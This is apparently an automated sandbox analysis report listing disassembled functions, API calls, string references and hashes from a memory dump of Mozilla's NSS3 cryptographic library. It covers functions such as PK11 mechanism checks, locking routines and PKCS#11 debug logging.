PK11_DoesMechanism.NSS3(?,00000311), ref: 6CFCCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CFCCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CFCCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CFCCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CFCD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CFCD021

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 0aa59c67e684ee399368e7a5a5836548dda153f7dbc28d18207a21d3e5f2b180
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 3F313471792D2237EF0D515A5D21BEF244B4BA930EF440038F90AE57C1F6C6961703E6

Function 6D0A0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6D0A1000

Part of subcall function 6D059BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CF81A48), ref: 6D059BB3
Part of subcall function 6D059BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF81A48), ref: 6D059BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6D0A1016

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PR_Unlock.NSS3(?), ref: 6D0A1021

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6D0A1046
PR_Unlock.NSS3(?), ref: 6D0A106B
PR_Lock.NSS3 ref: 6D0A1079
PR_Unlock.NSS3 ref: 6D0A1096
free.MOZGLUE(?), ref: 6D0A10A7
free.MOZGLUE(?), ref: 6D0A10B4
PR_DestroyCondVar.NSS3(?), ref: 6D0A10BF
PR_DestroyCondVar.NSS3(?), ref: 6D0A10CA
PR_DestroyCondVar.NSS3(?), ref: 6D0A10D5
PR_DestroyCondVar.NSS3(?), ref: 6D0A10E0
PR_DestroyLock.NSS3(?), ref: 6D0A10EB
free.MOZGLUE(?), ref: 6D0A1105

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 1413754777eae262b1a9f83b264c99e101b8c7de7ef11b73ae57eea095d8a8f8
Instruction ID: 853f57bc3fb1bbc942e9f4dd45b8017b887ee8f85f80115e0705ebbde01569ea
Opcode Fuzzy Hash: 1413754777eae262b1a9f83b264c99e101b8c7de7ef11b73ae57eea095d8a8f8
Instruction Fuzzy Hash: 2531ADF9900412ABE7019F50FD41B49BBB1BF41318B194134E90903A61E772F978DBD3

Function 6CFB5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFB5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CFB5EE3
PR_Unlock.NSS3(?), ref: 6CFB5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CFB5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CFB61F4

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 6ae2262280902e222be71a9e4ec0fe53a20e5a4ba235ea93dbf5f43101841ee5
Instruction ID: c29a302324cbf4ede6e57e47170c7d1ce8a86bea9f89ca960dd6dfccc2026c3e
Opcode Fuzzy Hash: 6ae2262280902e222be71a9e4ec0fe53a20e5a4ba235ea93dbf5f43101841ee5
Instruction Fuzzy Hash: 9BF1F5B5A002158FEB54CF19C884B86BBF4FF49304F5582AAE9089B346D774EA94CF91

Function 6CF1DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CF1DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CF1DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF1DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CF1DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1DECD

Strings

%s at line %d of [%.10s], xrefs: 6CF1DF7C, 6CF1DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF1DF6D, 6CF1DFCC, 6CF1DFDD
database corruption, xrefs: 6CF1DF77, 6CF1DFE7

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: f8400d64f7929a79f8fcd49320e4d1210741d25c360083823cb8777239079f3e
Instruction ID: 77623e0a96d601c7993101acc2294f35f3e4d8e4b472192b1edcfeda23ddcfad
Opcode Fuzzy Hash: f8400d64f7929a79f8fcd49320e4d1210741d25c360083823cb8777239079f3e
Instruction Fuzzy Hash: FCA1D3716083119FD716CF29C880B6BB7F5AF85308F19892DF8898BE52D730E945CB92

Function 6CFDEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CFDEE0B

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDEEE1

Part of subcall function 6CFD1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CFD1D7E
Part of subcall function 6CFD1D50: EnterCriticalSection.KERNEL32(?), ref: 6CFD1D8E
Part of subcall function 6CFD1D50: PR_Unlock.NSS3(?), ref: 6CFD1DD3

TlsGetValue.KERNEL32 ref: 6CFDEE51
EnterCriticalSection.KERNEL32(?), ref: 6CFDEE65
PR_Unlock.NSS3(?), ref: 6CFDEEA2
free.MOZGLUE(?), ref: 6CFDEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CFDEED0
PR_Unlock.NSS3(?), ref: 6CFDEF48
free.MOZGLUE(?), ref: 6CFDEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CFDEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CFDEFA4
free.MOZGLUE(?), ref: 6CFDEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CFDF055
free.MOZGLUE(?), ref: 6CFDF060

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 896974e813e37f7062310039680a4322e1f6b8cfdd1c8a61d9525f1ea4b132fc
Instruction ID: 4cac4b2a1c8d5003c98bd32ee8d562aae1716a759b3c1fd3b99219d14eee402c
Opcode Fuzzy Hash: 896974e813e37f7062310039680a4322e1f6b8cfdd1c8a61d9525f1ea4b132fc
Instruction Fuzzy Hash: 02818375900219ABEF01DFA5DC85BDEBBB5BF48318F1A4024ED09A3611E731E964CBA1

Function 6CFA4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CFA4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CFA4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CFA4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CFA4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CFA4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CFA4E85
DER_Encode_Util.NSS3(?,?,6D0F05A4,00000000), ref: 6CFA4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CFA4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CFA4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFA4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFA4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFA4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFA4FC8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 787bcdb67eab71bc2a4321f066672995a7f6aca6c59af39d26fd43d1d3cab22f
Instruction ID: 50f4292b34ae9010b344429e4fc260fc68e71fceabc2dad5d10099675ec7d314
Opcode Fuzzy Hash: 787bcdb67eab71bc2a4321f066672995a7f6aca6c59af39d26fd43d1d3cab22f
Instruction Fuzzy Hash: FB81A572508301EFE701CF64D880B5BFBE8AB88718F159529F958DB641EB71E906CB92

Function 6CFE5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CFE5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CFE5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CFE5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CFE5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CFE5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CFE5E18
TlsGetValue.KERNEL32 ref: 6CFE5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CFE5E72
PR_Unlock.NSS3(?), ref: 6CFE5E8B

Part of subcall function 6CFDF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CFDF854
Part of subcall function 6CFDF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CFDF868
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CFDF882
Part of subcall function 6CFDF820: free.MOZGLUE(04C483FF,?,?), ref: 6CFDF889
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CFDF8A4
Part of subcall function 6CFDF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CFDF8AB
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CFDF8C9
Part of subcall function 6CFDF820: free.MOZGLUE(280F10EC,?,?), ref: 6CFDF8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CFE5D3D
d, xrefs: 6CFE5C36

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 19b5ee1029fd26f903110ad8950a95043974520546d310fb3c432fa2d9440bdc
Instruction ID: 9b9c7f08f63595eec7837faf52e6aad65039be8af83729256e668e8137bd19a9
Opcode Fuzzy Hash: 19b5ee1029fd26f903110ad8950a95043974520546d310fb3c432fa2d9440bdc
Instruction Fuzzy Hash: 5171E7B5E05105BBEB109F39EC41BAF3675AF4931CF184035DC099AB42EB32E955C792

Function 6CFD8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CFD9582), ref: 6CFD8F5B

Part of subcall function 6CFEBE30: SECOID_FindOID_Util.NSS3(6CFA311B,00000000,?,6CFA311B,?), ref: 6CFEBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CFD8F6A

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CFD8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CFD8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6D0BD820,6CFD9576), ref: 6CFD8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CFD901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CFD903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFD9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CFD90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CFD90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CFD90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CFD912D
free.MOZGLUE(00000000), ref: 6CFD9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFD9145

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 51b04c2eda6dd4f7331056e879d6471a9715948312789c327e9b1d7cc924e8d4
Instruction ID: 0cccce9ec82eb087bd5404524d496489b005a3e8ef48ca9c8ca342d22d411d17
Opcode Fuzzy Hash: 51b04c2eda6dd4f7331056e879d6471a9715948312789c327e9b1d7cc924e8d4
Instruction Fuzzy Hash: BB51B4B2A082009BE700CF68DC81B9BB7E5EF94318F0A4529E955D7351EB71EA45CBD3

Function 6CFCADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CFCADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFCAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFCAE29

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFCAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CFCAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFCAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CFCAEA0

Strings

hSession = 0x%x, xrefs: 6CFCAE01, 6CFCAE11
(CK_INVALID_HANDLE), xrefs: 6CFCAE1F, 6CFCAE80
hKey = 0x%x, xrefs: 6CFCAE62, 6CFCAE72
C_MessageSignInit, xrefs: 6CFCADE1
nm, xrefs: 6CFCAEB8, 6CFCAEE6

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nm
API String ID: 332880674-1081198212
Opcode ID: 965a949440a9dc63066241fe96f3cbcd5a1e7857010e18584a5747a22c9eb7ec
Instruction ID: a085437aa646d997adf31c476520abccb1a09a8e9a61c37e469ba81cf0bc30d7
Opcode Fuzzy Hash: 965a949440a9dc63066241fe96f3cbcd5a1e7857010e18584a5747a22c9eb7ec
Instruction Fuzzy Hash: 0931E772705105AFEB00DB65EC88FEF37B5AB45309F494028E90D9B242DB34A814CB97

Function 6CFC9EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CFC9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC9F49

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CFC9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CFC9FC0

Strings

hSession = 0x%x, xrefs: 6CFC9F21, 6CFC9F31
(CK_INVALID_HANDLE), xrefs: 6CFC9F3F, 6CFC9FA0
C_MessageEncryptInit, xrefs: 6CFC9F01
hKey = 0x%x, xrefs: 6CFC9F82, 6CFC9F92
nm, xrefs: 6CFC9FD8, 6CFCA006

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nm
API String ID: 332880674-1816069776
Opcode ID: 1b3630c2522d876267b261bcb04a1691312a092b9129615fd447d71499981e6d
Instruction ID: 76d1cc863a85dcdb8574767c4385522fdd1e684a2e7da8be25db1842ddd520a3
Opcode Fuzzy Hash: 1b3630c2522d876267b261bcb04a1691312a092b9129615fd447d71499981e6d
Instruction Fuzzy Hash: 0031E772705205ABEB10DF64EC84BAF3775AB4631DF094028E90D9B242DB349914CB97

Function 6CFC2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CFC2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC2E33

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CFC2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CFC2E81

Strings

hSession = 0x%x, xrefs: 6CFC2E0E, 6CFC2E1E
(CK_INVALID_HANDLE), xrefs: 6CFC2E2C
C_InitPIN, xrefs: 6CFC2DF1
pPin = 0x%p, xrefs: 6CFC2E63
ulPinLen = %d, xrefs: 6CFC2E7C
nm, xrefs: 6CFC2E99, 6CFC2EC4

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nm
API String ID: 1003633598-3261216226
Opcode ID: 3dbd523ba9747282a3ebf2abb9007d6f598f16ba8475882526e0f5f913ed500d
Instruction ID: ab0543b088aa7457097e96ead21290ba69a0096dd23758f4b0b1380eb9781d6f
Opcode Fuzzy Hash: 3dbd523ba9747282a3ebf2abb9007d6f598f16ba8475882526e0f5f913ed500d
Instruction Fuzzy Hash: 30312471B05205AFEB10DB65EC88F9B37B5EB42318F194024ED0CA7252DB319908CBA7

Function 6CFC6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CFC6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC6F53

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CFC6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CFC6FA1

Strings

C_DigestUpdate, xrefs: 6CFC6F11
hSession = 0x%x, xrefs: 6CFC6F2E, 6CFC6F3E
(CK_INVALID_HANDLE), xrefs: 6CFC6F4C
ulPartLen = %d, xrefs: 6CFC6F9C
pPart = 0x%p, xrefs: 6CFC6F83
nm, xrefs: 6CFC6FB9, 6CFC6FE7

Memory Dump Source

